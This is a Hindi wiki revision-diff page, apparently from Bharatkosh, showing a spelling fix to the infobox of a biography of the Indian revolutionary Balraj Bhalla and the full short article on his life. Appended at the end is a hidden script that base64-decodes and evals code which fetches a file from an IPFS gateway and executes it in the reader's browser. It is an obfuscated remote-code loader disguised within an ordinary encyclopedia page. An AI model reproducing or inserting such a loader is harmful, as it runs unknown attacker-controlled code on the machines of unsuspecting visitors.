बलराज भल्ला: Difference between revisions
Jump to navigation
Jump to search
[unchecked revision] | [unchecked revision] |
No edit summary |
आदित्य चौधरी (talk | contribs) m (Text replace - "अविभावक" to "अभिभावक") |
||
Line 9: | Line 9: | ||
|मृत्यु स्थान= | |मृत्यु स्थान= | ||
|मृत्यु कारण= | |मृत्यु कारण= | ||
| | |अभिभावक=[[महात्मा हंसराज]] | ||
|पति/पत्नी= | |पति/पत्नी= | ||
|संतान= | |संतान= |
Latest revision as of 04:56, 29 May 2015
बलराज भल्ला
| |
पूरा नाम | बलराज भल्ला |
जन्म | 10 जून, 1888 |
जन्म भूमि | गुजराँवाला, पंजाब |
मृत्यु | 26 अक्टूबर, 1956 |
अभिभावक | महात्मा हंसराज |
नागरिकता | भारतीय |
प्रसिद्धि | क्रांतिकारी |
जेल यात्रा | 'लाहौर षड्यंत्र केस' में बलराज भल्ला पर मुकदमा चला था और कठोर करावास की सज़ा उन्हें दी गई। |
शिक्षा | एम. ए. |
संबंधित लेख | महात्मा हंसराज, महात्मा गाँधी |
अन्य जानकारी | जीवन के अंतिम दिनों में बलराज भल्ला का राजनीतिक हिंसा पर से विश्वास उठ गया था और वे राष्ट्रपिता महात्मा गाँधी के अहिंसक मार्ग के अनुयायी बन गए थे। |
बलराज भल्ला (अंग्रेज़ी: Balraj Bhalla ; जन्म- 10 जून, 1888, पंजाब; मृत्यु- 26 अक्टूबर, 1956) भारत के प्रसिद्ध क्रांतिकारियों में से एक थे। इनके पिता महात्मा हंसराज प्रसिद्ध शिक्षाशास्त्री और 'डी. ए. वी. कॉलेज', लाहौर के प्रथम प्रधानाचार्य थे। बलराज भल्ला बड़े ही साहसिक थे और जोखिम उठाने को सदा तैयार रहते थे। जीवन के अंतिम दिनों में वे गाँधीजी के अनुयायी हो गए थे।[1]
- क्रांतिकारी बलराज भल्ला का जन्म 10 जून, 1888 ई. को पंजाब के गुजरांवाला ज़िले में हुआ था।
- महात्मा हंसराज इनके पिता थे, जो एक प्रसिद्ध शिक्षाशास्त्री और 'डी.ए.वी. कॉलेज', लाहौर के प्रथम प्रधानाचार्य थे।
- बलराज भल्ला ने 1911 ई. में एम. ए. की परेक्षा पास की थी, परंतु रासबिहारी बोस और खुदीराम बोस आदि के प्रभाव से वे छोटी उम्र में ही क्रांतिकारी आंदोलन में सम्मिलित हो गए थे। इस कारण उनकी विश्वविद्यालय की डिग्रियाँ वापस ले ली गईं।
- बलराज बड़े साहसी थे और बड़े से बड़ा खतरा उठाने के लिए तैयार रहते थे। उनका विश्वास था कि स्वतंत्रता के पवित्र उद्देश्य की पूर्ति के लिए साम्राज्यवाद के कुछ प्रतिनिधियों की जान लेने या सरकारी बैंकों को लूटने में कोई बुराई नहीं है।
- वाइसराय की गाड़ी पर बम फेंकने के अभियोग में वर्ष 1919 में बलराज भल्ला को तीन वर्ष की सज़ा हुई थी।
- दूसरे 'लाहौर षड्यंत्र केस' में भी उन पर मुकदमा चला था और कठोर करावास की सज़ा उन्हें दी गई।
- बलराज भल्ला भारत के ही प्रसिद्ध क्रांतिकारी लाला लाजपतराय के अनुयायी थे।
- अपने कार्यों के लिए सहयोग प्राप्त करने के उद्देश्य से बलराज भल्ला ने एक बार गुप्त रूप से जर्मनी की भी यात्रा की थी।
- जीवन के अंतिम दिनों में बलराज भल्ला का राजनीतिक हिंसा पर से विश्वास उठ गया था और वे राष्ट्रपिता महात्मा गाँधी के अहिंसक मार्ग के अनुयायी बन गए थे।
- 26 अक्टूबर, 1956 ई. को बलराज भल्ला का देहांत हुआ।
|
|
|
|
|
टीका टिप्पणी और संदर्भ
- ↑ भारतीय चरित कोश |लेखक: लीलाधर शर्मा 'पर्वतीय' |प्रकाशक: शिक्षा भारती, मदरसा रोड, कश्मीरी गेट, दिल्ली |संकलन: भारतकोश पुस्तकालय |पृष्ठ संख्या: 514 |
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>